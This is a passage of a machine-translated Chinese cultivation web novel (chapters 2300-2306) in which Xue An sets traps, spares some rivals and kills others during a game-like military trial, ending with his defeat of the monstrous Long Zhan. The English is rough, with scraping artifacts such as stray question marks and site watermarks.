    "Interesting, it seems that the builders of this martial arts field are doing this trial completely in accordance with the idea of ??the game!"


    At this moment, there was a faint and extremely soft sound in his ears.


    This sound made Xue An, who was standing on the top of the tree, shrink back, hiding his entire body in the shadow of the dense foliage.


    The surrounding environment became quiet again.


    I can only hear the sound of the wind blowing over the treetops quietly, as if the light sound just now was just an illusion.


    But Xue An did not take it lightly.


    Because he knew very well that the sound just now was definitely not an illusion, but a real occurrence.


    He can even construct this sound scene in his mind.


    A lurking hunter accidentally stepped on a dry branch.


    So he can conclude that there must be a hunter like him hidden in the shadow of the dense forest around him.


    Xue An smiled silently.


    This game... is getting more and more interesting!


    As time passed by, screams and shouts were faintly heard in the dense forest far away. It should be that the soldiers of the two families died in the dense forest and met and exchanged fire.


    Xue An is not in a hurry.


    In fact, his endurance allows him to stand still on this treetop for a day.


    at last.


    The blades of a bush swayed abnormally.


    The shaking is so slight, it is insignificant for the entire dense forest in dynamics.


    But it was this slight shaking that made Xue Anyu perceive it instantly.


    Because he has already incorporated all the plants and trees within a radius of fifty meters into his perception.


    The wind blows the swing of the treetops, and the slow growth of the grass under your feet....


    Everything is in his grasp.


    So when he perceives this tremor a cold light flashes in his eyes.


    Can''t hold it anymore?


    But just as he slowly circulated the blood in his body and was about to launch an attack, a slight invisible reflection made him quiet instantly.


    wrong!


    There is something strange in this.


    Xue An''s entire body was once again integrated into the surrounding environment, carefully observed.


    really.


    When the subtle reflection appeared again, he finally saw it clearly.


    It was actually a thread as thin as a hair.


    One end was connected to the grass blades of the bush, while the other end extended into the distant darkness.


    Xue An was startled slightly, and then he smiled.


    (End of this chapter)

 Chapter 2301： Battle Under the Moon

    Chapter 2301 The Battle Under The Moon (Second)


    Very smart guy.


    Actually know how to use the fallen supplies to arrange traps.


    Because Xue An also has this silk thread, which fell when he killed another soldier.


    This discovery instantly reminded Xue An.


    It turns out that those weird little things that fell can still be used like this!


    At this point, even Xue An had to admire this guy hiding in the dark.


    Not to mention anything else, this dexterity alone is not comparable to ordinary people.


    Xue An did not follow the thread to find his hiding place.


    Because Xue An knows very well that since this person can set up this delicate trap, he must have already thought of this a long time ago.


    It is even possible that even this discovery is a trap, in order to lure oneself into showing up.


    Xue An is patient, so he can wait quietly.


    As for finding supplies...


    Xue An knew very well that if he couldn''t win this shadow sniper battle, he wouldn''t be able to hold it even if he found supplies.


    Time passed by every minute and every second.


    Soon, a bright moon rose in the sky.


    It is said to be a bright moon, but in fact it is much larger than the moon. When it hangs in the middle of the sky, it looks like a huge eye, looking coldly at the world.


    The cold glow made this dense forest become more and more gloomy.


    The purple mist on the distant mountain peaks became denser and spread towards the dense forest.


    Xue An''s heart became quieter and quieter.


    He could even hear the sound of the giant tree slowly growing under the moonlight.


    Suddenly!


    Just not far from the giant tree under Xue An''s feet, the shadow shook slightly.


    And at the moment when the shadows were shaking, Xue An, who had originally closed his eyes and stood on the top of the tree, raised his eyes, and his eyes were as bright as the moon, and then disappeared into place in a flash. When he appeared again, he had already come to that way. The shadow is near.


    All this is almost at its peak!


    Not only that, at the moment when Xue An appeared in front of the shadows, his beards and eyebrows were raised, and a sword light burst in his hand, piercing straight ahead.


    The bright sword light dispelled the darkness and also illuminates the face of this shadow.


    This was a man wearing a hideous mask, and he seemed to have not grown up yet, as if he was a teenager.


    In his eyes, Xue An read a little helplessly.


    Click!


    The sword light was like water, slashing straight down, and the mask on the young man''s face was instantly shaken by the extremely powerful sword intent, revealing a clean and delicate cheek below.


    The tip of the sword reached the center of the young man''s eyebrows, and the hair was cut off just by the sword intent.


    But other than that, Xue An''s hand was as steady as Taishan, and he didn''t actually stab him forward.


    The young man who was thinking of dying couldn''t help but was stunned, and then raised his eyes to look at Xue An.


    "Why didn''t you kill me?" The boy''s voice was a little immature, but he couldn''t hear the slightest panic.


    Xue Jingjing looked at him, and then said: "Song family?"


    "Yes! Song Yuze, heir of the Song family, are you the new soldier in charge of the Yue family?" Song Yuze asked.


    Xue An smiled, but did not respond to his words, but said indifferently: "You did this trap?"


    "Yes!" A hint of pride appeared on Song Yuze''s face, but he felt sad again.


    "Unfortunately there is too little time, otherwise I will not be noticed by you!"


    Speaking of this, he sighed softly, "Do it, it''s impossible for my Song family man to surrender!"


    "Who said I was going to kill you?"


    "Huh?" Song Yuze suddenly raised his head and looked at Xue An in disbelief.


    "You are an individual talent, and what the military strategist lacks most now is talent, so it would be a shame that you died like this!"


    With that, the sword light in Xue An''s hand dissipated, then turned and left, leaving only Song Yuze standing there alone.


    It wasn''t until Xue An saw that he was about to disappear before he suddenly woke up, and then shouted loudly.


    "Thank you!"


    Xue An smiled, but didn''t even turn his head, and disappeared into the dense forest.


    The moonlight is more intense, and the fight in the dense forest has reached a climax.


    The nine soldiers died in a melee in this dense forest.


    At this time, the people had torn off all their usual disguise, and just wanted to kill the opponent with red eyes.


    Gu Wangya is no exception.


    Her armor was already covered with blood, and Yingwu''s cheeks also rarely showed a trace of fatigue.


    This cruel fight is a severe challenge for the soldiers who have not been on the battlefield for a long time.


    This is especially true for Gu''s family.


    After all, the soldiers of the Gu family are all women.


    This makes them inherently vulnerable.


    But fortunately, they have been trying their best to avoid head-on conflict. Instead, they wandered on the edge of the battlefield and tried their best to preserve their strength, so that the Gu family did not lose too much.


    Nevertheless, Gu Wangya felt deeply exhausted at this time, and the soldiers under his men had reached their limit.


    "The whole army trimmed for three minutes!"


    "Yes!"


    All the Gu''s soldiers immediately collapsed to the ground, gasping for breath in order to regain their strength.


    Gu Wangya didn''t even have time to rest, because she wanted to take advantage of this precious time to detect the surrounding environment as soon as possible, so as to prepare for the next battle.


    Soon, she came to the dense forest not far away.


    Everything is calm here, without the slightest abnormality.


    Gu Wangya turned a towering tree and marched forward.


    But her footsteps had just crossed the canopy of this big tree, and suddenly there was a strange noise under her feet.


    The sound was very slight, but it was tantamount to thunder in Gu Wangya''s ears.


    Because at this moment, she faintly heard the sound of the magic circle starting.


    what happened?


    What the **** is this?


    And when her scalp was numb, the runes loomed on the giant tree behind her, and then it directly condensed into a sword light, which stabbed at Gu Wangya silently.


    Gu Wangya didn''t know anything about it. She didn''t feel the killing intent until Jian Mang was about to reach her body. Under the horror in her heart, she bent over at an almost impossible angle.


    Jian Mang brushed her back.


    Bah!


    With a crisp sound, the sharp blade of the sword cut butter like a hot knife, directly cutting the armor of her upper body in half.


    Not only that, UU reading ''s bitter sword intent also shattered all the clothes under her, revealing a flawless back.


    Gu Wangya let out a scream and twisted his body without being shy, wanting to see who made the sword.


    After all, at the moment just now, she felt a biting cold sword intent.


    But at this moment, I heard a soft sigh.


    "Forget it, let you go!"


    After all, the killing intent will fade away like a tide.


    Gu Wangya stared blankly at the white back that disappeared under the moon, with a dazed face.


    This guy... isn''t it the new commander of the Yue family?


    How could he... suddenly let me go?


    Suddenly, she gave Lingling a chill, only to realize that she was naked, and she screamed and hurriedly hid in the shadow behind the tree.


    (End of this chapter)

 Chapter 2302： Strength promotion

    Chapter 2302 Strength Promotion (first more)


    Zhong Li Wuwang is almost annoying now.


    You must know that the thing he hates most in his life is to find the way. As a result, he has to distinguish the position and find the way for two consecutive trials, which makes him extremely annoying.


    "Damn it, isn''t it okay to just send the so-called supplies to the front and then drive them? I have to look for them in the vast mountains and forests and make many weird monsters. It''s really annoying!"


    Zhong Liwu cursed and walked forward, the soldiers did not dare to speak, obediently followed behind.


    But at this moment, Zhong Li Wuwang suddenly felt a slight stumbling under his feet, and then saw a thin thread break at the sound.


    not good! There are traps!


    This idea came to Zhong Li Wuwang''s mind for an instant, and at the same time he turned and wanted to escape from here.


    But everything was too late. At the moment when the silk thread broke, several extremely complicated talisman seals suddenly appeared on the trunks of the surrounding trees, and they turned frantically.


    In an instant, a huge invisible force crashed on Zhong Li Wuwang''s shoulders, stagnating the figure he wanted to escape.


    At the same time, a sword light that resembled the venting of a heavenly river crashed down, taking the head of Zhong Li Wuwang''s head.


    Zhong Li Wuwang felt that his eyebrows and faces were stabbed in pain by this biting sword intent, but he was not panicked at all, but screamed coldly.


    "Li Daitao is stiff!"


    boom!


    Jianguang cut down, but no one''s head flew up, and even no blood was splashed.


    Because the Zhongli Wuwang who stayed far away was just a shadow of a puppet, and the real Zhongli Wuwang had already retreated to another place when he yelled the four words Li Daitaozheng.


    But at the moment when his figure just appeared in the sky, the sword light slid around and slashed towards Zhong Li Wuwang again.


    "Fuck, this sword light is still locked?" Zhong Li Wuwang finally couldn''t help but spit out, and then dodge again and again, and finally caught a glimpse of time, slapped the sword light to pieces.


    Then Zhong Li Wuwang let out a sigh of relief.


    "Damn, what a powerful sword intent! If I didn''t hide fast, maybe I would have said."


    Just as Zhong Li Wuwang was grateful to himself, a voice with a hint of smile suddenly rang in his ears.


    "Good strength!"


    "Who?" Zhong Li Wuwang was shocked and looked up.


    But seeing a big tree not far away, Xue An stood calmly, and the moonlight shone from behind him, making him in white clothes really look like an immortal descending, making people afraid to look directly.


    Zhong Li Wuwang''s pupils instantly shrank to the size of a pinpoint, and he said solemnly, "Yue Family Commander?"


    Although he had never covered his face, Zhong Li Wuwang was familiar with the breath of Xue An''s body.


    Xue An said lightly: "Yes, it''s me!"


    Zhong Liwuwang let out a sigh of relief, "You arranged the trap just now?"


    Xue An laughed, "I wanted to kill you, but you are also a talent, so I suddenly changed my mind!"


    After all, Xue An turned to leave.


    Zhong Li Wuwang was rather upset by Xue An''s remarks.


    What does it mean that you suddenly changed your mind when you wanted to kill me?


    As if you could kill me!


    In terms of strength, you are one level lower than me!


    Thinking of this, he couldn''t help shouting in dissatisfaction: "Hey, you..."


    But before he waited for the words behind him, Xue An turned around and raised his eyes to look at Zhong Li Wuwang.


    In an instant, Zhong Li Wuwang felt as if he had fallen into an extremely cold, bottomless abyss, and his entire body was enveloped in an extremely solemn atmosphere.


    But in the next second, Xue An narrowed his gaze and said faintly: "Hey what?"


    Zhong Liwuwang fell out of the horrible feeling, feeling that his entire body muscles were trembling slightly, and his heart could not help being shocked.


    Does this young man really only have a fairy-level cultivation base?


    But what about the supreme power of words?


    With these thoughts in his mind, he naturally didn''t have time to respond to Xue An''s words.


    Xue An glanced at him coldly, then his figure flashed and disappeared.


    It was not until after he left that Zhong Li Wuwang let out a sigh of relief, and then secretly frightened.


    This Yue family''s newly promoted soldier is obviously extraordinary!


    After a moment of contemplation, he suddenly remembered something, turned his head and looked at the men standing solemnly, "Look at what you see, and move on with me!"


    Xue An wandered in the woods, setting traps from time to time, only feeling that his heart was getting quieter and quieter.


    The cultivation base in his body was turbulent like a wave, and there was a hint of promotion in his strength.


    If someone else knows about this, they will definitely doubt life completely.


    Because Xue Anzheng Dao Xianzun has only had a long time until now, and as a result, his strength has actually entered the territory again.


    This terrifying increase in speed, Jane has reached an unprecedented level.


    This is why Xue An can suppress Zhong Li Wuwang with a look just now.


    After all, in front of Xue An, who was able to step into the half-step saint only a little bit, unless the real saint shot, no one at the same level would be his opponent.


    But it was this incident that made Xue An deeply feel the decline of the military strategist.


    Zhong Li Wuwang is also one of the twelve branch officers of the military strategist, and his strength can be regarded as high class.


    The result is only half the strength of the saint.


    This is really not enough for an ancient hundred-class existence.


    Because of this, Xue An didn''t try to kill Zhong Li Wuwang.


    Because compared to winning this trial, Xue An pays more attention to how to preserve and restore the glory of the military.


    After all, Xue An knew very well that what he had to deal with was the unpredictable existence of terror.


    And the military strategist at this moment happened to be a suitable place to stay.


    And this idea was born after Xue An was promoted again in strength.


    Therefore, during the next wandering, Xue An stopped making any injuries, but only used subtle traps to deter the soldiers from the other eight families, so as to protect the soldiers from the Yue family and continue to advance deep into the dense forest.


    But he didn''t want to kill, but someone took the initiative to hit the gunSima''s family.


    Sima Tiancheng is now very uncomfortable.


    I thought it would be an easy trial, I just need to follow my **** to enjoy the results and use it to plate a gilt.


    If possible, it would be better to frustrate the Yue Family''s prestige.


    Although Sima Tiancheng had suspected that Xue An was from some famous family.


    But this does not prevent him from killing Xue An in this martial arts field.


    After all, as long as you kill him, you can completely wipe out the Yue Family''s prestige, and even make that Yue Qinghuan suffer a blow, and then you can take advantage of it...


    Of course, these are all fantasies that only exist in the depths of Sima Tiancheng''s heart.


    He has always been a very cautious person, so he saw the bad situation at the Yue family''s dinner before and immediately slipped away.


    (End of this chapter)

 Chapter 2303： The real test of freedom assault

    Chapter 2303 the real test of freedom attack (second more)


    It would be better if you could do all of what you imagined, but it would be okay if you couldn''t.


    Sima Tiancheng entered the martial arts field with this kind of Buddhist mentality.


    But I never expected the development of the situation to be far beyond my expectations.


    First, the two consecutive martial arts upgrades disrupted his calculations, and then he and others fell into this endless dense forest.


    If that''s all there is to it, the point is that the mysterious monster makes Sima Tiancheng full of horror.


    He is an extremely life-saving person, so he regrets it at the moment.


    But there is no way, once the advanced state of martial arts is opened, unless it is over, it is impossible to withdraw halfway.


    For this reason, he can only follow far behind the big team, neither too far away nor too close, just to maintain a state of being away.


    In this case, even if something happens suddenly, he still has enough time to ask for help or escape.


    This conspiracy cannot be said to be deep.


    But it happened to be based on his conspiracy.


    Because just as he was advancing behind the large army graciously, Xue An happened to pass by in the sky.


    After recognizing Sima Tiancheng, Xue An fell on a big tree and dropped a trap casually.


    After this period of tempering, Xue An''s method of arranging traps has reached a state of superb quality, without even having to land, standing on a tree and dropping it at will can achieve the predetermined effect.


    For this Sima Tiancheng, Xue An had no intention of cherishing his talents.


    As early as the Yue family banquet, Xue An wanted to clean up this Sima Tiancheng.


    After all, he was arrogant and domineering at the time, completely ignored other people, and mocked Xue An a lot.


    Xue An is not a person who must be compared, but he will not tolerate the existence of such a person.


    Reluctantly, this guy was really slippery, and immediately ran away when the situation was bad.


    So Xue An was fine at that time.


    But I didn''t expect to see him again in this martial arts field. Naturally, Xue An couldn''t let it go.


    Of all this, Sima Tiancheng naturally didn''t know it.


    He didn''t even notice that Xue An was standing on a big tree not far from him and looking down at him.


    I saw him walking forward like a stroll, but in the next second, he stepped on the trap set by Xue An.


    In an instant, a subtle trap nestled in everything with three talisman seals was directly activated.


    Just like dealing with Zhongli Wuwang''s trap just now, firstly, gravity surged, pressing Sima Tiancheng unable to move, then Jianguang activated and pointed straight at Sima Tiancheng.


    The only difference is that Sima Tiancheng does not have the powerful strength of Zhong Li Wuwang.


    He didn''t even wake up from the shock and confusion until the sword light condensed and slashed towards him.


    Then he let out a scream of despair.


    "Help!"


    It''s a pity that at this time the third talisman seal played a role, and the powerful shielding ability blocked all his shouts.


    puff!


    Jian Guang slashed past, bringing out a bloodline, and then Sima Tiancheng''s head rose to the sky.


    And the last picture he had before dying was Xue An''s cold eyes, standing on the treetops swaying in the wind.


    It turned out to be him!


    With this thought, Sima Tiancheng finally fell into complete darkness.


    Xue An picked up the supplies he had dropped.


    Surprisingly, although Sima Tiancheng''s strength was not too high, the supplies he dropped were very generous.


    A visor made of unknown metal is heavy in the hand, but it gives a warm touch.


    Xue An raised his hand and put it on his face.


    In an instant, this mask fits Xue An''s face together.


    At this moment, the alchemy armor that had been hidden deep in Xue An''s sea of ??consciousness suddenly began to tremble.


    Then this alchemy mask infiltrated Xue An''s sea of ??brows and minds at an extremely fast speed, and the two directly merged together, and then returned to Ji.


    Xue An said slightly, because he really did not expect that the fallen visor would fuse with this twelve zodiac alchemy armor that had never been able to get together.


    And it seems that the power of this alchemy armor has been improved a little because of this.


    "First, the game-like performance setting, and then the drop of this alchemy vessel, what is the connection between the military master who built this performance field and this alchemy?" Xue An muttered to himself.


    At this moment, he suddenly felt a wave of fluctuations in his heart. After a slight start, he chuckled, then his figure flashed, and he disappeared in place.


    And when he left, the talisman seal responsible for shielding his surroundings broke into pieces, revealing Sima Tiancheng, who was severely broken.


    The soldiers of the Sima family exclaimed a commotion.


    The head of the Sima family was ashamed of death, because he knew that Sima Tiancheng''s death would surely cause him to be punished heavily.


    But this is the end of the matter, and he has no other choice but to roar.


    "The murderer must have not gone far, hurry up! Disperse immediately to find the murderer to avenge Master Sima!"


    Despite the shouting, these soldiers responded very few.


    Because a fool could also see that the one who killed Sima Tiancheng was a peerless master, otherwise Sima Tiancheng would not be cut off without even struggling.


    At this time, I went to find someone by myself. Isn''t that going to die?


    The Sima family was in turmoil, and Xue An was already among the soldiers of the Yue family.


    Because just ahead, this seemingly endless dense forest finally became sparse, exposing a large blank space.


    And in the middle of this place stands a box the size of a house.


    Don''t ask, this should be the supply mentioned in the previous exercise.


    It was because of this fluctuation that Xue An rushed over immediately.


    He stepped out of the dense forest and into the empty field.


    Before walking to the supply box, Xue An felt the exquisiteness of this box.


    I don''t know what kind of metal it is forged, and the silver-white box has many light patterns engraved on the surface.


    The seams are even more natural, full of strange beauty.


    Xue An looked up at the supply box, UU read smiled, and then reached out and gently pressed it down.


    Yue Junze was a little worried, and just wanted to stop it.


    But at this time Xue An''s hand had fallen on the surface of the box.


    In an instant, the entire box seemed to be activated, glowing with a faint glow.


    Immediately afterwards, the cold reminder sounded again.


    "The supply box has been found. In the next half an hour, the Yue family will be responsible for guarding, and the other eight will be responsible for attacking and killing. All means are allowed during this period!"


    "Free assault time, start now!"


    This reminder sound was like a thunderstorm, shaking all the soldiers in the meeting with horror.


    Xue An just smiled coldly, then put down his hand on the box, turned around and looked at the soldiers of the Yue family.


    "The next time will be the real test time, so... line up, prepare to meet!"


    (End of this chapter)

 Chapter 2304： 1 stand alone and 8 attack

    Chapter 2304 one family defends eight offenses (first more)


    At the same time, in the hall, there was a tsunami-like noise from the mountains.


    Because the progress bar above the light curtain has changed again, from the dazzling blood red to two completely different colors.


    The progress bar representing the Yue family became dark gray, while the progress bars of the other eight families were collectively turned into black.


    More than that, the cold reminder sounded in the hearts of everyone in the hall.


    How can this not make everyone shock and commotion.


    "One family stays alone, eight houses attack, how can this be defended?" Someone asked with astonishment.


    "Yes, this Yue family is probably going to be unlucky!"


    Among the different opinions, the expressions of Yue Qinghuan and others can be described as pale as snow.


    But no matter how anxious they are, they are helpless in this situation and can only pray silently in their hearts.


    Xue An, you guys... have to come on!


    Sima Tiancheng stood in the crowd, but a smug sneer gradually emerged from the corner of his mouth.


    It seems that even God is going to perish this Yue family! Otherwise, how could such perverted rules appear?


    And in the battlefield at the same moment, the soldiers of the Yue family had already made a good defensive formation under Xue An''s command and made all preparations.


    Unexpectedly, the first soldier out of the jungle and appeared in front of Xue An was actually the soldier of the Gu family.


    Because Gu Wangya was born with almost radar-like abilities, he was like a fish in the water in this path-finding, and he naturally arrived at the supply point first.


    But when this group of women soldiers walked out of the dense forest, they were not eager to do anything, instead they took a stand in the distance.


    The soldiers of the Yue family were silent, and were ready.


    Xue An sat in the middle of the town with a cold expression.


    Gu Wangya looked at this scene with a reddish cheek.


    At this moment, she has changed into a new dress, because the previous dress has already been wiped out under Xue An''s sword.


    Every time I read this, Gu Wangya feels more ashamed.


    After all, his **** scene can be described as extremely embarrassing.


    But it also made her curious about Xue An.


    Although it had only gone through a few short trials, the white-clothed boy''s power became more and more calm and grand, and it even made Gu Wangya feel more pressured.


    But the most unforgettable thing for Gu Wangya was the back figure that he turned around after cutting it down with a sword.


    At that time, this young man could kill his life with a single sword, but stopped at the last moment and turned around. What is the reason for this?


    A trace of confusion appeared in Gu Wangya''s eyes.


    Xue An naturally noticed Gu Wangya''s gaze, and turned to look at Gu Wangya.


    With eyes facing each other, Gu Wangya felt a touch somewhere in his heart, his cheeks flushed suddenly, and then bowed his head to avoid Xue An''s sight.


    Xue An''s brows were slightly frowned by these rare forms of little girls.


    What''s the matter with this woman?


    Why is your face so red?


    Could it be injured?


    Just as Xue An was puzzled, with the sound of footsteps, the soldiers of the Song family also came out.


    After seeing Xue An, Song Yuze, who was in the Song family camp, whispered to the soldier in charge.


    "Sir, this is the Yue family''s soldier who spared me!"


    After hearing these words, the Song family''s head soldier couldn''t help but look at everyone in the Yue family.


    When he saw the almost substantive military mighty anger on the soldiers of the Yue family, his eyes condensed, and then he took a breath of cold air.


    What a strong power!


    Who said that the Yue family has declined?


    Just look at the current power and power, even better than the Long Family Sima Family in the twelfth vein!


    Of course, he also noticed the Gu family who was standing on the sidelines and standing still. After thinking about it for a while, he couldn''t help but mutter in a deep voice: "Everyone listens to the order, keeps the formation, don''t move!"


    The soldiers of the Song family stopped when they heard the words, gathered in one place, silently waiting for the order.


    After a moment of deep thought, Song Yuze whispered to the soldier-in-arms: "We''d better observe the situation here and make a decision!"


    The Song Family Commander nodded, "That''s what I meant!"


    So on this open space, the Song and Gu family stood silently, forming a confrontation with the Yue family, but no one was willing to do it first.


    This situation also caused the Lu family, Tao family, and Bai family who came later to adopt the same countermeasures.


    In the blink of an eye, five soldiers stood silently on this huge open space.


    The evil spirits radiated by the various parties faintly formed various illusions in the sky, conquering each other.


    Yue Junze could not help but quietly approached Xue An and whispered: "My lord, why don''t these people do it? Don''t they know that everything will be over in half an hour?"


    Xue An smiled, "Don''t worry, they don''t want to do it, they just don''t want to start by themselves!"


    really.


    When Xue An was speaking, soldiers from the Long Family and Sima Family came almost at the same time.


    And as soon as they arrived, Zhong Li, who didn''t like pathfinder the most, also rushed to his home.


    As a result, above this open space, the nine soldiers formed a one-to-eight confrontation.


    The atmosphere was instantly dignified to the extreme.


    Long Zhan, who was in front of the Long Family''s team, looked at Xue An not far away, almost bursting into flames in his eyes.


    In his mind, Xue An no longer knew how many times he had been killed.


    But the more so, the more blazing the hatred accumulated in his heart.


    Even when he saw Xue An, he broke out completely.


    "The Long Family listens to the order and launches an attack!"


    With an order, the soldiers of the Long Family heard the wind and rushed toward Xue An and the others in a neat step.


    Seeing someone taking the lead, the Sima family was the first to react.


    The Sima family''s head soldier made his eyes red at this moment.


    Because Sima Tiancheng was already dead, if he couldn''t make any more achievements, then he would be the leader of the army.


    Good luck, there may be life concerns.


    Under this consideration, he also immediately ordered: "Then strike!"


    In an instant, the soldiers from the two families flooded in like a tide.


    Seeing this, Xue An didn''t even blink his eyelids, but said lightly: "Be prepared!"


    The soldiers of the Yue family immediately took a step forward, and then they collided with the soldiers of the Long and Sima family.


    Boom!


    Accompanied by a dull loud noise, the soldiers standing in the front of the two sides did not even hum, they turned directly into powder.


    That was caused by the huge ill-will of the soldiers.


    Faced with this tragic scene, Xue An was not moved at all.


    As the saying goes, mercifulness does not control soldiers. Since they have stepped onto the battlefield, the lives of soldiers are just a series of numbers in the eyes of the coach.


    He just kept giving orders in a calm and calm manner, causing the entire Yue Family''s battle formation to constantly change, fighting with Sima and Long Family fiercely.


    The two sides instantly formed a stalemate.


    But unlike others, Long Zhan''s eyes had turned blood red at this time, roaring forward.


    Because there was only one thought left in his mind, that was killing Xue An.


    (End of this chapter)

 Chapter 2305： Fierce battle

    Chapter 2305 Fierce Battle (Second)


    Under the support of this thought, a majestic force surged in his body, as if it was about to explode in the next second.


    But he didn''t know, just when the blood in his whole body reached the peak, scaly lines loomed on his neck, like... evil things.


    Xue An naturally felt the strong murderous aura on Long Zhan''s body.


    To be honest, Xue An didn''t recognize this dragon at first.


    Until Long Zhan roared and rushed forward, "Xue An, today is your death date!"


    He just started to think, and then smiled coldly.


    "Long Zhan, your life is really great!"


    As he said, he dodged Long Zhan''s punch.


    Long Zhan panted hard, his hands kept moving, **** straight to Xue An''s vitals.


    Xue An raised his eyebrows slightly.


    What a powerful punch!


    I haven''t seen him for a few days, how can this Long Zhan''s strength have improved so much?


    Although he was surprised in his heart, Xue An kept moving under his feet, avoiding Long Zhan''s attack.


    After several encounters, Long Zhan roared: "Xue An, what are you hiding? Have the ability to fight me head-on!"


    Xue An didn''t speak, because he had already faintly discerned some clues at this time.


    Especially the scale patterns on Long Zhan''s neck reminded Xue An a lot in an instant.


    However, he didn''t have any fear, he just sneered, stopped dodge steps abruptly, and blasted towards Long Zhan''s punch.


    Boom!


    An invisible shock wave directly destroyed the surrounding low bushes to dust.


    Xue An snorted, then involuntarily took a step back.


    Long Zhan didn''t even shake, and rushed forward again with a grinning grin.


    At this time, all the onlookers were shocked and horrified.


    Gu Wangya looked at Long Zhan and Xue An in shock with a face full of shock, and a thought flashed through his mind.


    When did this famous dude of the Long family actually become so powerful?


    Faintly there is even the meaning of completely suppressing Xue An.


    Not only her, Zhong Li Wuwang, Song Yuze and others all showed solemn expressions.


    For Xue An, they did not have the slightest hatred, but were full of admiration, which is why they have not joined the battle group.


    But looking at the current situation, Xue An seemed to be unable to hold it anymore.


    And if he was defeated, it would mean that the entire Yue family would be defeated like a mountain.


    Under this situation, these people couldn''t help but squeeze a sweat secretly for Xue An.


    At this time, Long Zhan had already pushed Xue An to back again and again, and he couldn''t help laughing strangely under his excitement.


    "Xue An, you should give up as soon as possible, if this is the case, I can give you a good time, if not, I will tear you to pieces a little bit!"


    Xue An just smiled coldly, "Oh? Really?"


    The ridicule in this speech made Long Zhan angrily, and his pupils were filled with blood.


    "Surnamed Xue, don''t **** toast or eat fine wine, you can''t be my opponent at all, do you dare to be tough when you die?"


    Xue An smiled without saying a word.


    But this attitude completely angered Long Zhan, and he suddenly raised his head and howled like a hungry wolf.


    Accompanied by howling, the skin on his body suddenly began to crack, as if a monster in his body was about to break free.


    The stench of blood flowed down, making him look terrifying and terrifying.


    These scenes also caused all the soldiers in the fighting to slow down the offensive in their hands.


    Gu Wangya, Zhong Li Wuwang and others were even more horrified.


    "Gosh, what is that?"


    Accompanied by the sound of exclamation, Jian Long Zhan''s ribs suddenly stretched out from the chest and abdomen, and then they grew wildly.


    In the blink of an eye, the ribs enveloped the dragon like armor, and at the same time made his figure look like a devil in the depths of hell, without any human form.


    "dead!"


    At this time, Long Zhan had lost his human consciousness, screamed vaguely, and then rushed towards Xue An.


    The speed is so fast that everyone has no time to react.


    Bang!


    After a muffled sound, Xue An''s figure was knocked out and rolled a few times in the air before he could land.


    Looking at Xue An at this time, a ray of blood dripped down the corner of his mouth.


    "Sir!" Yue Junze exclaimed.


    The soldiers of the Yue family was even more commotion.


    The Sima family''s soldier in charge was overjoyed when he saw this, "Speed ??up the attack, this Yue family is not good!"


    For a time, while the Yue family''s army was floating, the soldiers of Sima and the Long family instantly suppressed him and backed down again and again.


    At this time, Xue An''s eyes were as bright as stars, he slowly wiped off the blood from the corners of his mouth, and said coldly: "I''m fine, you just need to hold your ground!"


    Hearing Xue An''s words, these Yue family soldiers only slightly relaxed and fought fiercely with Sima and Long family soldiers.


    This Long Zhan was a strange smile that made his scalp numb.


    "Xue An, you are proud to be able to withstand my punch, but then you still have to die!"


    Having said that, Long Zhan rushed again, the speed was beyond everyone''s imagination.


    But at this moment, Xue An suddenly closed his eyes, and then turned to the side.


    Long Zhan''s fist wiped Xue An''s hair by, and it was empty.


    Long Zhan was also shocked by it.


    Because he really didn''t expect Xue An to dodge his own blow.


    And just in his stunned effort, Xue An hurriedly raised his fist and said coldly: "It''s cool enough, now it''s me!"


    As he said, he blasted out with a punch and hit Long Zhan''s chest and abdomen.


    The majestic force instantly shattered Long Zhan''s bone armor a lot, but the horrible thing was that Long Zhan was not shaken out.


    Not only that, but the shattered bone armor quickly healed up and recovered in the blink of an eye.


    Instead, Xue An took a few steps back because of the force of the counter-shock.


    Long Zhan laughed loudly.


    "Useless Xue An, you can''t break my defenses at all with your current strength, just die!"


    As he said, Long Zhan rushed forward menacingly.


    But at this moment, I saw a stunning sword light passing through the sky.


    puff!


    One of Long Zhan''s arms was cut off abruptly.


    Without blood, as long as the creeping bone armor tried to repair the wound, it was crushed by the sword intent remaining on it.


    Long Zhan roared and said in disbelief: "Impossible, how could you hurt me?"


    At this time, Xue An slowly raised his hand, and his hand was impressively the Yinhong little sword left by Jiansan, and said coldly.


    "Why is it impossible?"


    After seeing this small red sword, UU reading seemed to see something extremely terrifying.


    "This sword...no!"


    With that, he turned around and ran.


    But how could Xue An let him go.


    Xue An stepped forward and came directly behind Long Zhan, then raised his sword in his hand and cut diagonally down.


    With a click.


    As soon as the sword light arrived, Long Zhan''s bone armor shattered, and a huge wound obliquely descended from his right shoulder to the base of his thigh.


    This time, even the bone armor on his body could not save him, and the blood rushed out, making his eyes quickly dimmed.


    Even so, he still turned around hard, trying to take a look at Xue An.


    But at this moment, half of his body slipped diagonally, becoming two halves.


    (End of this chapter)

 Chapter 2306： Between

    At the same time, among the red sleeve moves that were far away from the Long Family, the man who had traded with Long Zhan suddenly opened his eyes, and a look of horror appeared on his face.


    "How is it possible! How could he hold the Shen family sword weapon, and it is the sword weapon formed by condensing all the sword hearts before death by the descendants of the direct descendant? Could it be said that the people of the Shen family were also involved in this matter?"


    With the voice, the expression on his face changed like a slide. There were fear and doubt, but more of it was still horrified.


    If the Shen family really participated in this matter, it would be tricky!


    At this point, the man immediately stood up, and a shake merged into the void, and disappeared.


    In the martial arts field, everyone has just awakened from the shock.


    Because no one thought that the young master of the Long Family would turn into such a monster and be beheaded by Xue An.


    In this stupefied effort, the soldier in the Long Family couldn''t help but become anxious.


    Although he looked down on Long Zhan very much, but now he was dead in front of him. If he couldn''t avenge him, it would be impossible for Long Yushu to let him go after he went out.


    Therefore, he pointed at Xue An with his remaining hand and roared: "Kill him, or we will all die!"


    The soldiers of the Long Family also woke up one after another, and immediately rushed upwards.


    The Sima family��s soldier at this time noticed that only his family and the Long family had done their work, and the other six families stood still far away.


    Now he couldn''t help feeling a little anxious.


    "The time for free assault is only half an hour, what are you waiting for? If you don''t do it, there will be no chance!"


    In the hoarse cry of the Sima Family''s commanding soldiers, the Lu Family, Tao Family, and Bai Family looked at each other, and then they planned to move forward.


    But at this moment, an unexpected scene happened.


    But after seeing Song Yuze whispering a few words with the Song family commander, he suddenly took a few steps forward, and then said aloud.


    "The leader of the Yue family, my Song family asked myself that it was not your opponent, so I decided to voluntarily withdraw from this attack!"


    Upon hearing this, the eyes of the audience instantly focused on this Song Yuze.


    Seeing that he was neither humble nor overbearing, Xue An nodded in the crowd in the distance.


    Xue An smiled.


